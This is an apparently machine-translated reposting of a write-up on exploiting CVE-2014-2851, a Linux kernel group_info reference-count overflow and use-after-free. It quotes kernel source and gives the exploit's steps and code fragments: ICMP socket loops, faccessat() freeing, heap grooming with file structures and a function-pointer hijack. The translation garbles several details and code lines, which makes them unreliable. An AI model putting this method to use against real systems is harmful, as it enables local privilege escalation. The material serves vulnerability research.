Linux Kernel group_info UAF vulnerability exploitation (CVE-2014-2851)

Source: Internet
Author: User
Tags cve

Linux Kernel group_info UAF vulnerability exploitation (CVE-2014-2851)

This case studies CVE-2014-2851 vulnerabilities that affect Linux kernels until 3.14.1. First of all, I am very grateful to Thomas for his help. He gave his initial analysis and PoC.
This vulnerability is not very practical (it may take a while to overflow a 32-bit integer), but from the development perspective, this is an interesting vulnerability. In the system we tested, it took more than 50 minutes to get. The use of RCU callback is very difficult due to unpredictable prediction.
Our testing system is 32-bit Ubuntu 14.04 LTS (3.small-24-generic kernel) SMP. Next we will first describe this vulnerability and its exploitation, and then we will discuss the difficulties in its exploitation.
Vulnerabilities
The following is a vulnerability that is used to create an ICMP socket. Note that although standard users (in most releases) are not allowed to create ICMP sockets, they can access the vulnerable part without the root permission:
Int ping_init_sock (struct sock * sk)
{
Struct net * net = sock_net (sk );
Kgid_t group = current_egid ();
Struct group_info * group_info = get_current_groups (); [1]
Int I, j, count = group_info-> ngroups;
Kgid_t low, high;
Inet_get_ping_group_range_net (net, & low, & high );
If (gid_lte (low, group) & gid_lte (group, high) [2]
Return 0;
...
After creating an ICMP socket in the user space, it will reach the following path (especially [1]):
Socket (AF_INET, SOCK_DGRAM, IPPROTO_ICMP );
The get_current_groups () function in [1] is the macro defined in include/linux/cred. h:
# Define get_current_groups ()\
({\
Struct group_info * _ groups ;\
Const struct cred * _ cred ;\
_ Cred = current_cred ();\
_ Groups = get_group_info (_ cred-> group_info); \ [3]
_ Groups ;\
})
The get_group_info () function in [3] has an atomic Type Increment group_info for statistics usage, which is defined as an integer type:
Type = struct group_info {
Atomic_t usage;
Int ngroups;
Int nblocks;
Kgid_t small_block [32];
Kgid_t * blocks [];
}
Typedef struct {
Int counter;
} Atomic_t;
Every time a new ICMP socket is created, this counter is added to [1. However, for common users, detection in [2] fails (0 is returned ). Therefore, this usage will never decrease when you exit. We can create a new ICMP socket repeatedly to overflow this signed INTEGER (0 xffffffff + 1 = 0 ).
The group_info struct is shared with its fork sub-process. When the counter value changes to 0, the kernel can release it in many ways. One of the methods is the use of faccessat () system functions discovered by Thomas:
SYSCALL_DEFINE3 (faccessat, int, dfd, const char _ user *, filename, int, mode)
{
Const struct cred * old_cred;
Struct cred * override_cred;
Int res;
...
Override_cred = prepare_creds (); [4]
...
Out:
Revert_creds (old_cred );
Put_cred (override_cred); [5]

Return res;
In [4], a new struct is allocated, its counter (not to be confused with group_info-> usage) is set to 1, and group_info-> usage is increased by 1. In this case, the put_cred in [5] will decrease the cred-> usage value and call _ put_cred ():
Static inline void put_cred (const struct cred * _ cred)
{
Struct cred * cred = (struct cred *) _ cred;
Validate_creds (cred );
If (atomic_dec_and_test (& (cred)-> usage ))
_ Put_cred (cred );
}
The most important part is to release the cred struct using RCU [6:
Void _ put_cred (struct cred * cred)
{
...
BUG_ON (cred = current-> cred );
BUG_ON (cred = current-> real_cred );
Call_rcu (& cred-> rcu, put_cred_rcu); [6]
}
EXPORT_SYMBOL (_ put_cred );
The following shows the put_cred_rcu callback function. When the counter changes to 0, it calls put_group_info () in [7] to release the group_info struct:
Static void put_cred_rcu (struct rcu_head * rcu)
{
Struct cred * cred = container_of (rcu, struct cred, rcu );
...
Security_cred_free (cred );
Key_put (cred-> session_keyring );
Key_put (cred-> process_keyring );
Key_put (cred-> thread_keyring );
Key_put (cred-> request_key_auth );
If (cred-> group_info)
Put_group_info (cred-> group_info); [7]
Free_uid (cred-> user );
Put_user_ns (cred-> user_ns );
Kmem_cache_free (cred_jar, cred );
}
The put_group_info () function is defined as a macro. It is used to decrease the counter of group_info and release this struct when the Count value is 0:
# Define put_group_info (group_info )\
Do {\
If (atomic_dec_and_test (& (group_info)-> usage ))\
Groups_free (group_info );\
} While (0)
Exploitation
Obviously, we can release the group_info struct by setting the overflow counter to 0, and then call faccessat () in the user space ():
// Increment the counter close to 0 xffffffff (-10 = 0xfffffff6)
For (I = 0; I-10; I ++ ){
Socket (AF_INET, SOCK_DGRAM, IPPROTO_ICMP );
}
// Increment the counter by 1 and try to free it
For (I = 0; I 100; I ++ ){
Socket (AF_INET, SOCK_DGRAM, IPPROTO_ICMP );
Faccessat (0, "/", R_ OK, AT_EACCESS );
}
The above code can overflow the counter and release the group_info struct. Releasing this struct is done by calling the RCU system callback. There will be some unpredictable issues, and we will discuss it in the "challenge" section later.
Once the group_info structure is released, the SLUB distributor saves its address to freelist. There is a lot of information on the Internet about the SLUB distributor. We will not detail it here. However, we know that when an object is released, it will be placed in freelist and the first four bytes (32-bit) will be overwritten by a pointer pointing to the next idle object. Therefore, the first four bytes of group_info will be overwritten by a valid kernel storage address. The first four bytes are counters, so we can add this value by creating an ICMP socket.
After group_info is released, there may be two situations:
1. It is the last object of freelist.
2. It is an idle object in freelist.
In the previous case, the pointer pointing to the next idle object in group_info is set to NULL. In the latter case, the Pointer Points to the next idle object in slab (this is also the most common case ).
In our tested system, the group_info struct has a total length of 140 bits and is allocated to the kmalloc-192 cache. When an object with a request of 128-192 bits (via kmalloc, kmem_cache_alloc, etc.) is received, the SLUB distributor will view freelist and assign the address pointed by the pointer after the counter is overwritten.
We can increase the Count value repeatedly to make it overflow and use mmap to direct the pointer to the user region. For example, if a given kernel address 0xf3XXXXXX is added with 0 xfffffff, it is in the user region 0x3XXXXXX.
In general, the exploitation process is as follows:
1. Add a group_info counter close to 0 xffffffff by creating an ICMP socket
2. Try to increase the counter by 1 and call faccessat () to release group_info.
3. Once released, the counter in group_info will be overwritten as a pointer pointing to the idle area in slab.
4. Create more ICMP sockets to add the group_info counter until it points to the memory space in the user region.
5. Record this area of the user space (for example, 0x3000000-0x4000000) and set it to 0 using memset.
6. Request to allocate a 128-192-bit structure X in the kernel space (ideally including a function pointer)
7. the SLUB splitter will allocate the structure X to our user space address 0 × 3000000-0 × 4000000
8. If the structure X contains any function pointer, we can point to our payload (in our case, the drop chain)
The structure X we use is a file structure with the same size as group_info and contains some function pointers (for example, file operation * f_op ). You can use the following sample code to allocate the file structure:
For (I = 0; I N; I ++)
Fd = open ("/etc/passwd", O_RDONLY );
If the file must be allocated at least 1024, other processes of fork can continue to allocate more file structures.
Once the file structure is allocated to our user space 0x3000000-0x4000000, we can simply search for non-zero bits in this area. Below is the starting part of our file structure:
Unsigned * p;
Struct file * f = NULL;
// Find the file struct
For (p = 0x3000000; p 0x4000000; p ++ ){
If (* p ){
F = (struct file *) p;
Break;
}
}
From this point of view, this series of exploitation operations are common.
Challenges
As mentioned in the previous chapter, RCU callback may cause unpredictable situations. For example, ping_init_sock () following faccessat () may not be executed during recycling. Obviously, we want to execute the following command:
1. Add counters in group_info
2. If the counter value is 0, it will be released through faccessat ()
However, RCU Callbacks are often accumulated together and then processed in batches. The callback function is executed only when at least one CPU in the system is marked as "idle" (for example, context switching and idle loop ). Therefore, a large number of ping_init_sock statements are often executed simultaneously (the counter overflows and the value is greater than 0), followed by a series of put_cred_rcu () RCU callbacks. In this case, the steps for releasing group_info will be skipped. However, we have found a way to control the increase and check of counts.
Another problem occurs in the recovery phase related to vulnerability exploitation. What if another object sends a request from the same slab at the same time? In this case, we can set the pointer pointing to the next freelist in our object to NULL. In this way, the splitter will set the freelist pointer to NULL. In other words, this will force the splitter to create a new slab and "forget" our current slab.
Now, what if some objects that are currently using slab are released? This puts forward a real challenge. We can use the LKM repair system to solve it.
Summary
In terms of practicality, this vulnerability may not be ideal because it takes some time to overflow a 32-bit counter. In our testing system, it took more than 50 minutes to take full advantage. However, once group_info is released, it is relatively reliable (even on a multi-processing platform ).

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.